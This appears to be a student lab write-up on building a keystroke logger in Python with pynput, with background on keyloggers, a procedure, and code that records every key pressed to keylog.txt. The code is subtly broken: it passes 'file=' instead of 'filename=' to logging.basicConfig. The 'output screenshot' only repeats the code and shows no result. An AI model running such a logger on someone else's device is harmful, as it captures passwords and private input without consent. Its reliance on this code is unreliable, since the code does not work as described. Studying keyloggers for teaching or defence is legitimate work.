Key Logger using Python

Aim:

To write a program in python for Key Logger function

Key logger:

A key logger sometimes called a keystroke logger or keyboard capture is a type of surveillance technology used to monitor and record each keystroke on a specific computer. Key logger software is also available for use on smart phones, such as the Apple iPhone and Android devices.

Key loggers are often used as a spyware tool by cybercriminals to steal personally identifiable information (PII), login credentials and sensitive enterprise data. Some uses of key loggers could be considered ethical or appropriate in varying degrees. Key logger recorders may also be used by:

- employers to observe employees' computer activities;
- parents to supervise their children's internet usage;
- device owners to track possible unauthorized activity on their devices; or
- law enforcement agencies to analyze incidents involving computer use.

Types of keyloggers

A hardware-based key logger is a small device that serves as a connector between the keyboard and the computer. The device is designed to resemble an ordinary keyboard PS/2 connector, part of the computer cabling or a USB adaptor, making it relatively easy for someone who wants to monitor a user's behaviour to hide the device.

A key logging software program does not require physical access to the user's computer for installation. It can be purposefully downloaded by someone who wants to monitor activity on a particular computer, or it can be malware downloaded unwittingly and executed as part of a root kit or remote administration Trojan (RAT). The root kit can launch and operate stealthily to evade manual detection or antivirus scans.

Procedure:

1. Start the program
2. Import Key and Listener libraries in Python
3. Open a configuration file with file name as keylog.txt and the format to store the values is set to ascii messages
4. Define the function for key press
5. Write the appropriate code for the key press function
6. Stop the program

Code:

```
from pynput.keyboard import Key, Listener

import logging

logging.basicConfig(file=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):

    logging.info(str(key))

with Listener(on_press=on_press) as listener :

    listener.join()
```

Output Screenshot:

```
In [*]: from pynput.keyboard import Key, Listener
        import logging
        logging.basicConfig(file=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

        def on_press(key):
            logging.info(str(key))

        with Listener(on_press=on_press) as listener :
            listener.join()
```

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